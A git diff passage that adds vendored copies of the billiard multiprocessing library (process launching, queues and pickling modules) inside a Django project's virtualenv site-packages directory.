OSError as exc: + if getattr(exc, 'errno', None) != errno.ESRCH: + if self.wait(timeout=0.1) is None: + raise + + def _launch(self, process_obj): + code = 1 + parent_r, child_w = os.pipe() + self.pid = os.fork() + if self.pid == 0: + try: + os.close(parent_r) + if 'random' in sys.modules: + import random + random.seed() + code = process_obj._bootstrap() + finally: + os._exit(code) + else: + os.close(child_w) + self.sentinel = parent_r + + def close(self): + if self.sentinel is not None: + try: + os.close(self.sentinel) + finally: + self.sentinel = None diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/popen_forkserver.py b/django_lottopy/lib/python3.10/site-packages/billiard/popen_forkserver.py new file mode 100644 index 00000000..d4b18d5c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/popen_forkserver.py @@ -0,0 +1,70 @@ +from __future__ import absolute_import + +import io +import os + +from . import reduction +from . import context +from . import forkserver +from . import popen_fork +from . import spawn + +__all__ = ['Popen'] + +# +# Wrapper for an fd used while launching a process +# + + +class _DupFd(object): + + def __init__(self, ind): + self.ind = ind + + def detach(self): + return forkserver.get_inherited_fds()[self.ind] + +# +# Start child process using a server process +# + + +class Popen(popen_fork.Popen): + method = 'forkserver' + DupFd = _DupFd + + def __init__(self, process_obj): + self._fds = [] + super(Popen, self).__init__(process_obj) + + def duplicate_for_child(self, fd): + self._fds.append(fd) + return len(self._fds) - 1 + + def _launch(self, process_obj): + prep_data = spawn.get_preparation_data(process_obj._name) + buf = io.BytesIO() + context.set_spawning_popen(self) + try: + reduction.dump(prep_data, buf) + reduction.dump(process_obj, buf) + finally: + context.set_spawning_popen(None) + + self.sentinel, w = forkserver.connect_to_new_process(self._fds) + with io.open(w, 'wb', closefd=True) as f: + f.write(buf.getbuffer()) + self.pid = forkserver.read_unsigned(self.sentinel) + + def poll(self, flag=os.WNOHANG): + if self.returncode is None: + from .connection import wait + timeout = 0 if flag == os.WNOHANG else None + if not wait([self.sentinel], timeout): + return None + try: + self.returncode = forkserver.read_unsigned(self.sentinel) + except (OSError, EOFError): + # The process ended abnormally perhaps because of a signal + self.returncode = 255 + return self.returncode diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/popen_spawn_posix.py b/django_lottopy/lib/python3.10/site-packages/billiard/popen_spawn_posix.py new file mode 100644 index 00000000..a3f1111d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/popen_spawn_posix.py @@ -0,0 +1,76 @@ +from __future__ import absolute_import + +import io +import os + +from . import context +from . import popen_fork +from . import reduction +from . import spawn + +from .compat import spawnv_passfds + +__all__ = ['Popen'] + + +# +# Wrapper for an fd used while launching a process +# + +class _DupFd(object): + + def __init__(self, fd): + self.fd = fd + + def detach(self): + return self.fd + +# +# Start child process using a fresh interpreter +# + + +class Popen(popen_fork.Popen): + method = 'spawn' + DupFd = _DupFd + + def __init__(self, process_obj): + self._fds = [] + super(Popen, self).__init__(process_obj) + + def duplicate_for_child(self, fd): + self._fds.append(fd) + return fd + + def _launch(self, process_obj): + os.environ["MULTIPROCESSING_FORKING_DISABLE"] = "1" + spawn._Django_old_layout_hack__save() + from . import semaphore_tracker + tracker_fd = semaphore_tracker.getfd() + self._fds.append(tracker_fd) + prep_data = spawn.get_preparation_data(process_obj._name) + fp = io.BytesIO() + context.set_spawning_popen(self) + try: + reduction.dump(prep_data, fp) + reduction.dump(process_obj, fp) + finally: + context.set_spawning_popen(None) + + parent_r = child_w = child_r = parent_w = None + try: + parent_r, child_w = os.pipe() + child_r, parent_w = os.pipe() + cmd = spawn.get_command_line(tracker_fd=tracker_fd, + pipe_handle=child_r) + self._fds.extend([child_r, child_w]) + self.pid = spawnv_passfds( + spawn.get_executable(), cmd, self._fds, + ) + self.sentinel = parent_r + with io.open(parent_w, 'wb', closefd=False) as f: + f.write(fp.getvalue()) + finally: + for fd in (child_r, child_w, parent_w): + if fd is not None: + os.close(fd) diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/popen_spawn_win32.py b/django_lottopy/lib/python3.10/site-packages/billiard/popen_spawn_win32.py new file mode 100644 index 00000000..20fcc771 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/popen_spawn_win32.py @@ -0,0 +1,123 @@ +from __future__ import absolute_import + +import io +import os +import msvcrt +import signal +import sys + +from . import context +from . import spawn +from . import reduction + +from .compat import _winapi + +__all__ = ['Popen'] + +# +# +# + +TERMINATE = 0x10000 +WINEXE = (sys.platform == 'win32' and getattr(sys, 'frozen', False)) +WINSERVICE = sys.executable.lower().endswith("pythonservice.exe") + +# +# We define a Popen class similar to the one from subprocess, but +# whose constructor takes a process object as its argument. +# + + +if sys.platform == 'win32': + try: + from _winapi import CreateProcess, GetExitCodeProcess + close_thread_handle = _winapi.CloseHandle + except ImportError: # Py2.7 + from _subprocess import CreateProcess, GetExitCodeProcess + + def close_thread_handle(handle): + handle.Close() + + +class Popen(object): + ''' + Start a subprocess to run the code of a process object + ''' + method = 'spawn' + sentinel = None + + def __init__(self, process_obj): + os.environ["MULTIPROCESSING_FORKING_DISABLE"] = "1" + spawn._Django_old_layout_hack__save() + prep_data = spawn.get_preparation_data(process_obj._name) + + # read end of pipe will be "stolen" by the child process + # -- see spawn_main() in spawn.py. + rhandle, whandle = _winapi.CreatePipe(None, 0) + wfd = msvcrt.open_osfhandle(whandle, 0) + cmd = spawn.get_command_line(parent_pid=os.getpid(), + pipe_handle=rhandle) + cmd = ' '.join('"%s"' % x for x in cmd) + + with io.open(wfd, 'wb', closefd=True) as to_child: + # start process + try: + hp, ht, pid, tid = CreateProcess( + spawn.get_executable(), cmd, + None, None, False, 0, None, None, None) + close_thread_handle(ht) + except: + _winapi.CloseHandle(rhandle) + raise + + # set attributes of self + self.pid = pid + self.returncode = None + self._handle = hp + self.sentinel = int(hp) + + # send information to child + context.set_spawning_popen(self) + try: + reduction.dump(prep_data, to_child) + reduction.dump(process_obj, to_child) + finally: + context.set_spawning_popen(None) + + def close(self): + if self.sentinel is not None: + try: + _winapi.CloseHandle(self.sentinel) + finally: + self.sentinel = None + + def duplicate_for_child(self, handle): + assert self is context.get_spawning_popen() + return reduction.duplicate(handle, self.sentinel) + + def wait(self, timeout=None): + if self.returncode is None: + if timeout is None: + msecs = _winapi.INFINITE + else: + msecs = max(0, int(timeout * 1000 + 0.5)) + + res = _winapi.WaitForSingleObject(int(self._handle), msecs) + if res == _winapi.WAIT_OBJECT_0: + code = GetExitCodeProcess(self._handle) + if code == TERMINATE: + code = -signal.SIGTERM + self.returncode = code + + return self.returncode + + def poll(self): + return self.wait(timeout=0) + + def terminate(self): + if self.returncode is None: + try: + _winapi.TerminateProcess(int(self._handle), TERMINATE) + except OSError: + if self.wait(timeout=1.0) is None: + raise diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/process.py b/django_lottopy/lib/python3.10/site-packages/billiard/process.py new file mode 100644 index 00000000..37b28daf --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/process.py @@ -0,0 +1,404 @@ +# +# Module providing the `Process` class which emulates `threading.Thread` +# +# multiprocessing/process.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +# +# Imports +# + +import os +import sys +import signal +import itertools +import logging +import threading +from _weakrefset import WeakSet + +from multiprocessing import process as _mproc + +from .five import items, string_t + +try: + ORIGINAL_DIR = os.path.abspath(os.getcwd()) +except OSError: + ORIGINAL_DIR = None + +__all__ = ['BaseProcess', 'Process', 'current_process', 'active_children'] + +# +# Public functions +# + + +def current_process(): + ''' + Return process object representing the current process + ''' + return _current_process + + +def _set_current_process(process): + global _current_process + _current_process = _mproc._current_process = process + + +def _cleanup(): + # check for processes which have finished + for p in list(_children): + if p._popen.poll() is not None: + _children.discard(p) + + +def _maybe_flush(f): + try: + f.flush() + except (AttributeError, EnvironmentError, NotImplementedError): + pass + + +def active_children(_cleanup=_cleanup): + ''' + Return list of process objects corresponding to live child processes + ''' + try: + _cleanup() + except TypeError: + # called after gc collect so _cleanup does not exist anymore + return [] + return list(_children) + + +class BaseProcess(object): + ''' + Process objects represent activity that is run in a separate process + + The class is analagous to `threading.Thread` + ''' + + def _Popen(self): + raise NotImplementedError() + + def __init__(self, group=None, target=None, name=None, + args=(), kwargs={}, daemon=None, **_kw): + assert group is None, 'group argument must be None for now' + count = next(_process_counter) + self._identity = _current_process._identity + (count, ) + self._config = _current_process._config.copy() + self._parent_pid = os.getpid() + self._popen = None + self._target = target + self._args = tuple(args) + self._kwargs = dict(kwargs) + self._name = ( + name or type(self).__name__ + '-' + + ':'.join(str(i) for i in self._identity) + ) + if daemon is not None: + self.daemon = daemon + if _dangling is not None: + _dangling.add(self) + + self._controlled_termination = False + + def run(self): + ''' + Method to be run in sub-process; can be overridden in sub-class + ''' + if self._target: + self._target(*self._args, **self._kwargs) + + def start(self): + ''' + Start child process + ''' + assert self._popen is None, 'cannot start a process twice' + assert self._parent_pid == os.getpid(), \ + 'can only start a process object created by current process' + _cleanup() + self._popen = self._Popen(self) + self._sentinel = self._popen.sentinel + _children.add(self) + + def close(self): + if self._popen is not None: + self._popen.close() + + def terminate(self): + ''' + Terminate process; sends SIGTERM signal or uses TerminateProcess() + ''' + self._popen.terminate() + + def terminate_controlled(self): + self._controlled_termination = True + self.terminate() + + def join(self, timeout=None): + ''' + Wait until child process terminates + ''' + assert self._parent_pid == os.getpid(), 'can only join a child process' + assert self._popen is not None, 'can only join a started process' + res = self._popen.wait(timeout) + if res is not None: + _children.discard(self) + self.close() + + def is_alive(self): + ''' + Return whether process is alive + ''' + if self is _current_process: + return True + assert self._parent_pid == os.getpid(), 'can only test a child process' + if self._popen is None: + return False + self._popen.poll() + return self._popen.returncode is None + + def _is_alive(self): + if self._popen is None: + return False + return self._popen.poll() is None + + @property + def name(self): + return self._name + + @name.setter + def name(self, name): # noqa + assert isinstance(name, string_t), 'name must be a string' + self._name = name + + @property + def daemon(self): + ''' + Return whether process is a daemon + ''' + return self._config.get('daemon', False) + + @daemon.setter # noqa + def daemon(self, daemonic): + ''' + Set whether process is a daemon + ''' + assert self._popen is None, 'process has already started' + self._config['daemon'] = daemonic + + @property + def authkey(self): + return self._config['authkey'] + + @authkey.setter # noqa + def authkey(self, authkey): + ''' + Set authorization key of process + ''' + self._config['authkey'] = AuthenticationString(authkey) + + @property + def exitcode(self): + ''' + Return exit code of process or `None` if it has yet to stop + ''' + if self._popen is None: + return self._popen + return self._popen.poll() + + @property + def ident(self): + ''' + Return identifier (PID) of process or `None` if it has yet to start + ''' + if self is _current_process: + return os.getpid() + else: + return self._popen and self._popen.pid + + pid = ident + + @property + def sentinel(self): + ''' + Return a file descriptor (Unix) or handle (Windows) suitable for + waiting for process termination. + ''' + try: + return self._sentinel + except AttributeError: + raise ValueError("process not started") + + @property + def _counter(self): + # compat for 2.7 + return _process_counter + + @property + def _children(self): + # compat for 2.7 + return _children + + @property + def _authkey(self): + # compat for 2.7 + return self.authkey + + @property + def _daemonic(self): + # compat for 2.7 + return self.daemon + + @property + def _tempdir(self): + # compat for 2.7 + return self._config.get('tempdir') + + def __repr__(self): + if self is _current_process: + status = 'started' + elif self._parent_pid != os.getpid(): + status = 'unknown' + elif self._popen is None: + status = 'initial' + else: + if self._popen.poll() is not None: + status = self.exitcode + else: + status = 'started' + + if type(status) is int: + if status == 0: + status = 'stopped' + else: + status = 'stopped[%s]' % _exitcode_to_name.get(status, status) + + return '<%s(%s, %s%s)>' % (type(self).__name__, self._name, + status, self.daemon and ' daemon' or '') + + ## + + def _bootstrap(self): + from . import util, context + global _current_process, _process_counter, _children + + try: + if self._start_method is not None: + context._force_start_method(self._start_method) + _process_counter = itertools.count(1) + _children = set() + if sys.stdin is not None: + try: + sys.stdin.close() + sys.stdin = open(os.devnull) + except (EnvironmentError, OSError, ValueError): + pass + old_process = _current_process + _set_current_process(self) + + # Re-init logging system. + # Workaround for https://bugs.python.org/issue6721/#msg140215 + # Python logging module uses RLock() objects which are broken + # after fork. This can result in a deadlock (Celery Issue #496). + loggerDict = logging.Logger.manager.loggerDict + logger_names = list(loggerDict.keys()) + logger_names.append(None) # for root logger + for name in logger_names: + if not name or not isinstance(loggerDict[name], + logging.PlaceHolder): + for handler in logging.getLogger(name).handlers: + handler.createLock() + logging._lock = threading.RLock() + + try: + util._finalizer_registry.clear() + util._run_after_forkers() + finally: + # delay finalization of the old process object until after + # _run_after_forkers() is executed + del old_process + util.info('child process %s calling self.run()', self.pid) + try: + self.run() + exitcode = 0 + finally: + util._exit_function() + except SystemExit as exc: + if not exc.args: + exitcode = 1 + elif isinstance(exc.args[0], int): + exitcode = exc.args[0] + else: + sys.stderr.write(str(exc.args[0]) + '\n') + _maybe_flush(sys.stderr) + exitcode = 0 if isinstance(exc.args[0], str) else 1 + except: + exitcode = 1 + if not util.error('Process %s', self.name, exc_info=True): + import traceback + sys.stderr.write('Process %s:\n' % self.name) + traceback.print_exc() + finally: + util.info('process %s exiting with exitcode %d', + self.pid, exitcode) + _maybe_flush(sys.stdout) + _maybe_flush(sys.stderr) + + return exitcode + +# +# We subclass bytes to avoid accidental transmission of auth keys over network +# + + +class AuthenticationString(bytes): + + def __reduce__(self): + from .context import get_spawning_popen + + if get_spawning_popen() is None: + raise TypeError( + 'Pickling an AuthenticationString object is ' + 'disallowed for security reasons') + return AuthenticationString, (bytes(self),) + +# +# Create object representing the main process +# + + +class _MainProcess(BaseProcess): + + def __init__(self): + self._identity = () + self._name = 'MainProcess' + self._parent_pid = None + self._popen = None + self._config = {'authkey': AuthenticationString(os.urandom(32)), + 'semprefix': '/mp'} + +_current_process = _MainProcess() +_process_counter = itertools.count(1) +_children = set() +del _MainProcess + + +Process = BaseProcess + +# +# Give names to some return codes +# + +_exitcode_to_name = {} + +for name, signum in items(signal.__dict__): + if name[:3] == 'SIG' and '_' not in name: + _exitcode_to_name[-signum] = name + +# For debug and leak testing +_dangling = WeakSet() diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/queues.py b/django_lottopy/lib/python3.10/site-packages/billiard/queues.py new file mode 100644 index 00000000..0a2daa5e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/queues.py @@ -0,0 +1,403 @@ +# +# Module implementing queues +# +# multiprocessing/queues.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +import sys +import os +import threading +import collections +import weakref +import errno + +from . import connection +from . import context + +from .compat import get_errno +from .five import monotonic, Empty, Full +from .util import ( + debug, error, info, Finalize, register_after_fork, is_exiting, +) +from .reduction import ForkingPickler + +__all__ = ['Queue', 'SimpleQueue', 'JoinableQueue'] + + +class Queue(object): + ''' + Queue type using a pipe, buffer and thread + ''' + def __init__(self, maxsize=0, *args, **kwargs): + try: + ctx = kwargs['ctx'] + except KeyError: + raise TypeError('missing 1 required keyword-only argument: ctx') + if maxsize <= 0: + # Can raise ImportError (see issues #3770 and #23400) + from .synchronize import SEM_VALUE_MAX as maxsize # noqa + self._maxsize = maxsize + self._reader, self._writer = connection.Pipe(duplex=False) + self._rlock = ctx.Lock() + self._opid = os.getpid() + if sys.platform == 'win32': + self._wlock = None + else: + self._wlock = ctx.Lock() + self._sem = ctx.BoundedSemaphore(maxsize) + # For use by concurrent.futures + self._ignore_epipe = False + + self._after_fork() + + if sys.platform != 'win32': + register_after_fork(self, Queue._after_fork) + + def __getstate__(self): + context.assert_spawning(self) + return (self._ignore_epipe, self._maxsize, self._reader, self._writer, + self._rlock, self._wlock, self._sem, self._opid) + + def __setstate__(self, state): + (self._ignore_epipe, self._maxsize, self._reader, self._writer, + self._rlock, self._wlock, self._sem, self._opid) = state + self._after_fork() + + def _after_fork(self): + debug('Queue._after_fork()') + self._notempty = threading.Condition(threading.Lock()) + self._buffer = collections.deque() + self._thread = None + self._jointhread = None + self._joincancelled = False + self._closed = False + self._close = None + self._send_bytes = self._writer.send + self._recv = self._reader.recv + self._send_bytes = self._writer.send_bytes + self._recv_bytes = self._reader.recv_bytes + self._poll = self._reader.poll + + def put(self, obj, block=True, timeout=None): + assert not self._closed + if not self._sem.acquire(block, timeout): + raise Full + + with self._notempty: + if self._thread is None: + self._start_thread() + self._buffer.append(obj) + self._notempty.notify() + + def get(self, block=True, timeout=None): + if block and timeout is None: + with self._rlock: + res = self._recv_bytes() + self._sem.release() + + else: + if block: + deadline = monotonic() + timeout + if not self._rlock.acquire(block, timeout): + raise Empty + try: + if block: + timeout = deadline - monotonic() + if timeout < 0 or not self._poll(timeout): + raise Empty + elif not self._poll(): + raise Empty + res = self._recv_bytes() + self._sem.release() + finally: + self._rlock.release() + # unserialize the data after having released the lock + return ForkingPickler.loads(res) + + def qsize(self): + # Raises NotImplementedError on macOS because + # of broken sem_getvalue() + return self._maxsize - self._sem._semlock._get_value() + + def empty(self): + return not self._poll() + + def full(self): + return self._sem._semlock._is_zero() + + def get_nowait(self): + return self.get(False) + + def put_nowait(self, obj): + return self.put(obj, False) + + def close(self): + self._closed = True + try: + self._reader.close() + finally: + close = self._close + if close: + self._close = None + close() + + def join_thread(self): + debug('Queue.join_thread()') + assert self._closed + if self._jointhread: + self._jointhread() + + def cancel_join_thread(self): + debug('Queue.cancel_join_thread()') + self._joincancelled = True + try: + self._jointhread.cancel() + except AttributeError: + pass + + def _start_thread(self): + debug('Queue._start_thread()') + + # Start thread which transfers data from buffer to pipe + self._buffer.clear() + self._thread = threading.Thread( + target=Queue._feed, + args=(self._buffer, self._notempty, self._send_bytes, + self._wlock, self._writer.close, self._ignore_epipe), + name='QueueFeederThread' + ) + self._thread.daemon = True + + debug('doing self._thread.start()') + self._thread.start() + debug('... done self._thread.start()') + + # On process exit we will wait for data to be flushed to pipe. + # + # However, if this process created the queue then all + # processes which use the queue will be descendants of this + # process. Therefore waiting for the queue to be flushed + # is pointless once all the child processes have been joined. + created_by_this_process = (self._opid == os.getpid()) + if not self._joincancelled and not created_by_this_process: + self._jointhread = Finalize( + self._thread, Queue._finalize_join, + [weakref.ref(self._thread)], + exitpriority=-5 + ) + + # Send sentinel to the thread queue object when garbage collected + self._close = Finalize( + self, Queue._finalize_close, + [self._buffer, self._notempty], + exitpriority=10 + ) + + @staticmethod + def _finalize_join(twr): + debug('joining queue thread') + thread = twr() + if thread is not None: + thread.join() + debug('... queue thread joined') + else: + debug('... queue thread already dead') + + @staticmethod + def _finalize_close(buffer, notempty): + debug('telling queue thread to quit') + with notempty: + buffer.append(_sentinel) + notempty.notify() + + @staticmethod + def _feed(buffer, notempty, send_bytes, writelock, close, ignore_epipe): + debug('starting thread to feed data to pipe') + + nacquire = notempty.acquire + nrelease = notempty.release + nwait = notempty.wait + bpopleft = buffer.popleft + sentinel = _sentinel + if sys.platform != 'win32': + wacquire = writelock.acquire + wrelease = writelock.release + else: + wacquire = None + + try: + while 1: + nacquire() + try: + if not buffer: + nwait() + finally: + nrelease() + try: + while 1: + obj = bpopleft() + if obj is sentinel: + debug('feeder thread got sentinel -- exiting') + close() + return + + # serialize the data before acquiring the lock + obj = ForkingPickler.dumps(obj) + if wacquire is None: + send_bytes(obj) + else: + wacquire() + try: + send_bytes(obj) + finally: + wrelease() + except IndexError: + pass + except Exception as exc: + if ignore_epipe and get_errno(exc) == errno.EPIPE: + return + # Since this runs in a daemon thread the resources it uses + # may be become unusable while the process is cleaning up. + # We ignore errors which happen after the process has + # started to cleanup. + try: + if is_exiting(): + info('error in queue thread: %r', exc, exc_info=True) + else: + if not error('error in queue thread: %r', exc, + exc_info=True): + import traceback + traceback.print_exc() + except Exception: + pass + +_sentinel = object() + + +class JoinableQueue(Queue): + ''' + A queue type which also supports join() and task_done() methods + + Note that if you do not call task_done() for each finished task then + eventually the counter's semaphore may overflow causing Bad Things + to happen. + ''' + + def __init__(self, maxsize=0, *args, **kwargs): + try: + ctx = kwargs['ctx'] + except KeyError: + raise TypeError('missing 1 required keyword argument: ctx') + Queue.__init__(self, maxsize, ctx=ctx) + self._unfinished_tasks = ctx.Semaphore(0) + self._cond = ctx.Condition() + + def __getstate__(self): + return Queue.__getstate__(self) + (self._cond, self._unfinished_tasks) + + def __setstate__(self, state): + Queue.__setstate__(self, state[:-2]) + self._cond, self._unfinished_tasks = state[-2:] + + def put(self, obj, block=True, timeout=None): + assert not self._closed + if not self._sem.acquire(block, timeout): + raise Full + + with self._notempty: + with self._cond: + if self._thread is None: + self._start_thread() + self._buffer.append(obj) + self._unfinished_tasks.release() + self._notempty.notify() + + def task_done(self): + with self._cond: + if not self._unfinished_tasks.acquire(False): + raise ValueError('task_done() called too many times') + if self._unfinished_tasks._semlock._is_zero(): + self._cond.notify_all() + + def join(self): + with self._cond: + if not self._unfinished_tasks._semlock._is_zero(): + self._cond.wait() + + +class _SimpleQueue(object): + ''' + Simplified Queue type -- really just a locked pipe + ''' + + def __init__(self, rnonblock=False, wnonblock=False, ctx=None): + self._reader, self._writer = connection.Pipe( + duplex=False, rnonblock=rnonblock, wnonblock=wnonblock, + ) + self._poll = self._reader.poll + self._rlock = self._wlock = None + + def empty(self): + return not self._poll() + + def __getstate__(self): + context.assert_spawning(self) + return (self._reader, self._writer, self._rlock, self._wlock) + + def __setstate__(self, state): + (self._reader, self._writer, self._rlock, self._wlock) = state + + def get_payload(self): + return self._reader.recv_bytes() + + def send_payload(self, value): + self._writer.send_bytes(value) + + def get(self): + # unserialize the data after having released the lock + return ForkingPickler.loads(self.get_payload()) + + def put(self, obj): + # serialize the data before acquiring the lock + self.send_payload(ForkingPickler.dumps(obj)) + + def close(self): + if self._reader is not None: + try: + self._reader.close() + finally: + self._reader = None + + if self._writer is not None: + try: + self._writer.close() + finally: + self._writer = None + + +class SimpleQueue(_SimpleQueue): + + def __init__(self, *args, **kwargs): + try: + ctx = kwargs['ctx'] + except KeyError: + raise TypeError('missing required keyword argument: ctx') + self._reader, self._writer = connection.Pipe(duplex=False) + self._rlock = ctx.Lock() + self._wlock = ctx.Lock() if sys.platform != 'win32' else None + + def get_payload(self): + with self._rlock: + return self._reader.recv_bytes() + + def send_payload(self, value): + if self._wlock is None: + # writes to a message oriented win32 pipe are atomic + self._writer.send_bytes(value) + else: + with self._wlock: + self._writer.send_bytes(value) diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/reduction.py b/django_lottopy/lib/python3.10/site-packages/billiard/reduction.py new file mode 100644 index 00000000..a2fae25d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/reduction.py @@ -0,0 +1,294 @@ +# +# Module which deals with pickling of objects. +# +# multiprocessing/reduction.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +import functools +import io +import os +import pickle +import socket +import sys + +from . import context + +__all__ = ['send_handle', 'recv_handle', 'ForkingPickler', 'register', 'dump'] + +PY3 = sys.version_info[0] == 3 + + +HAVE_SEND_HANDLE = (sys.platform == 'win32' or + (hasattr(socket, 'CMSG_LEN') and + hasattr(socket, 'SCM_RIGHTS') and + hasattr(socket.socket, 'sendmsg'))) + +# +# Pickler subclass +# + + +if PY3: + import copyreg + + class ForkingPickler(pickle.Pickler): + '''Pickler subclass used by multiprocessing.''' + _extra_reducers = {} + _copyreg_dispatch_table = copyreg.dispatch_table + + def __init__(self, *args): + super(ForkingPickler, self).__init__(*args) + self.dispatch_table = self._copyreg_dispatch_table.copy() + self.dispatch_table.update(self._extra_reducers) + + @classmethod + def register(cls, type, reduce): + '''Register a reduce function for a type.''' + cls._extra_reducers[type] = reduce + + @classmethod + def dumps(cls, obj, protocol=None): + buf = io.BytesIO() + cls(buf, protocol).dump(obj) + return buf.getbuffer() + + @classmethod + def loadbuf(cls, buf, protocol=None): + return cls.loads(buf.getbuffer()) + + loads = pickle.loads + +else: + + class ForkingPickler(pickle.Pickler): # noqa + '''Pickler subclass used by multiprocessing.''' + dispatch = pickle.Pickler.dispatch.copy() + + @classmethod + def register(cls, type, reduce): + '''Register a reduce function for a type.''' + def dispatcher(self, obj): + rv = reduce(obj) + self.save_reduce(obj=obj, *rv) + cls.dispatch[type] = dispatcher + + @classmethod + def dumps(cls, obj, protocol=None): + buf = io.BytesIO() + cls(buf, protocol).dump(obj) + return buf.getvalue() + + @classmethod + def loadbuf(cls, buf, protocol=None): + return cls.loads(buf.getvalue()) + + @classmethod + def loads(cls, buf, loads=pickle.loads): + if isinstance(buf, io.BytesIO): + buf = buf.getvalue() + return loads(buf) +register = ForkingPickler.register + + +def dump(obj, file, protocol=None): + '''Replacement for pickle.dump() using ForkingPickler.''' + ForkingPickler(file, protocol).dump(obj) + +# +# Platform specific definitions +# + +if sys.platform == 'win32': + # Windows + __all__ += ['DupHandle', 'duplicate', 'steal_handle'] + from .compat import _winapi + + def duplicate(handle, target_process=None, inheritable=False): + '''Duplicate a handle. (target_process is a handle not a pid!)''' + if target_process is None: + target_process = _winapi.GetCurrentProcess() + return _winapi.DuplicateHandle( + _winapi.GetCurrentProcess(), handle, target_process, + 0, inheritable, _winapi.DUPLICATE_SAME_ACCESS) + + def steal_handle(source_pid, handle): + '''Steal a handle from process identified by source_pid.''' + source_process_handle = _winapi.OpenProcess( + _winapi.PROCESS_DUP_HANDLE, False, source_pid) + try: + return _winapi.DuplicateHandle( + source_process_handle, handle, + _winapi.GetCurrentProcess(), 0, False, + _winapi.DUPLICATE_SAME_ACCESS | _winapi.DUPLICATE_CLOSE_SOURCE) + finally: + _winapi.CloseHandle(source_process_handle) + + def send_handle(conn, handle, destination_pid): + '''Send a handle over a local connection.''' + dh = DupHandle(handle, _winapi.DUPLICATE_SAME_ACCESS, destination_pid) + conn.send(dh) + + def recv_handle(conn): + '''Receive a handle over a local connection.''' + return conn.recv().detach() + + class DupHandle(object): + '''Picklable wrapper for a handle.''' + def __init__(self, handle, access, pid=None): + if pid is None: + # We just duplicate the handle in the current process and + # let the receiving process steal the handle. + pid = os.getpid() + proc = _winapi.OpenProcess(_winapi.PROCESS_DUP_HANDLE, False, pid) + try: + self._handle = _winapi.DuplicateHandle( + _winapi.GetCurrentProcess(), + handle, proc, access, False, 0) + finally: + _winapi.CloseHandle(proc) + self._access = access + self._pid = pid + + def detach(self): + '''Get the handle. This should only be called once.''' + # retrieve handle from process which currently owns it + if self._pid == os.getpid(): + # The handle has already been duplicated for this process. + return self._handle + # We must steal the handle from the process whose pid is self._pid. + proc = _winapi.OpenProcess(_winapi.PROCESS_DUP_HANDLE, False, + self._pid) + try: + return _winapi.DuplicateHandle( + proc, self._handle, _winapi.GetCurrentProcess(), + self._access, False, _winapi.DUPLICATE_CLOSE_SOURCE) + finally: + _winapi.CloseHandle(proc) + +else: + # Unix + __all__ += ['DupFd', 'sendfds', 'recvfds'] + import array + + # On macOS we should acknowledge receipt of fds -- see Issue14669 + ACKNOWLEDGE = sys.platform == 'darwin' + + def sendfds(sock, fds): + '''Send an array of fds over an AF_UNIX socket.''' + fds = array.array('i', fds) + msg = bytes([len(fds) % 256]) + sock.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, fds)]) + if ACKNOWLEDGE and sock.recv(1) != b'A': + raise RuntimeError('did not receive acknowledgement of fd') + + def recvfds(sock, size): + '''Receive an array of fds over an AF_UNIX socket.''' + a = array.array('i') + bytes_size = a.itemsize * size + msg, ancdata, flags, addr = sock.recvmsg( + 1, socket.CMSG_LEN(bytes_size), + ) + if not msg and not ancdata: + raise EOFError + try: + if ACKNOWLEDGE: + sock.send(b'A') + if len(ancdata) != 1: + raise RuntimeError( + 'received %d items of ancdata' % len(ancdata), + ) + cmsg_level, cmsg_type, cmsg_data = ancdata[0] + if (cmsg_level == socket.SOL_SOCKET and + cmsg_type == socket.SCM_RIGHTS): + if len(cmsg_data) % a.itemsize != 0: + raise ValueError + a.frombytes(cmsg_data) + assert len(a) % 256 == msg[0] + return list(a) + except (ValueError, IndexError): + pass + raise RuntimeError('Invalid data received') + + def send_handle(conn, handle, destination_pid): # noqa + '''Send a handle over a local connection.''' + fd = conn.fileno() + with socket.fromfd(fd, socket.AF_UNIX, socket.SOCK_STREAM) as s: + sendfds(s, [handle]) + + def recv_handle(conn): # noqa + '''Receive a handle over a local connection.''' + fd = conn.fileno() + with socket.fromfd(fd, socket.AF_UNIX, socket.SOCK_STREAM) as s: + return recvfds(s, 1)[0] + + def DupFd(fd): + '''Return a wrapper for an fd.''' + popen_obj = context.get_spawning_popen() + if popen_obj is not None: + return popen_obj.DupFd(popen_obj.duplicate_for_child(fd)) + elif HAVE_SEND_HANDLE: + from . import resource_sharer + return resource_sharer.DupFd(fd) + else: + raise ValueError('SCM_RIGHTS appears not to be available') + +# +# Try making some callable types picklable +# + + +def _reduce_method(m): + if m.__self__ is None: + return getattr, (m.__class__, m.__func__.__name__) + else: + return getattr, (m.__self__, m.__func__.__name__) + + +class _C: + def f(self): + pass +register(type(_C().f), _reduce_method) + + +def _reduce_method_descriptor(m): + return getattr, (m.__objclass__, m.__name__) +register(type(list.append), _reduce_method_descriptor) +register(type(int.__add__), _reduce_method_descriptor) + + +def _reduce_partial(p): + return _rebuild_partial, (p.func, p.args, p.keywords or {}) + + +def _rebuild_partial(func, args, keywords): + return functools.partial(func, *args, **keywords) +register(functools.partial, _reduce_partial) + +# +# Make sockets picklable +# + +if sys.platform == 'win32': + + def _reduce_socket(s): + from .resource_sharer import DupSocket + return _rebuild_socket, (DupSocket(s),) + + def _rebuild_socket(ds): + return ds.detach() + register(socket.socket, _reduce_socket) + +else: + + def _reduce_socket(s): # noqa + df = DupFd(s.fileno()) + return _rebuild_socket, (df, s.family, s.type, s.proto) + + def _rebuild_socket(df, family, type, proto): # noqa + fd = df.detach() + return socket.socket(family, type, proto, fileno=fd) + register(socket.socket, _reduce_socket) diff --git 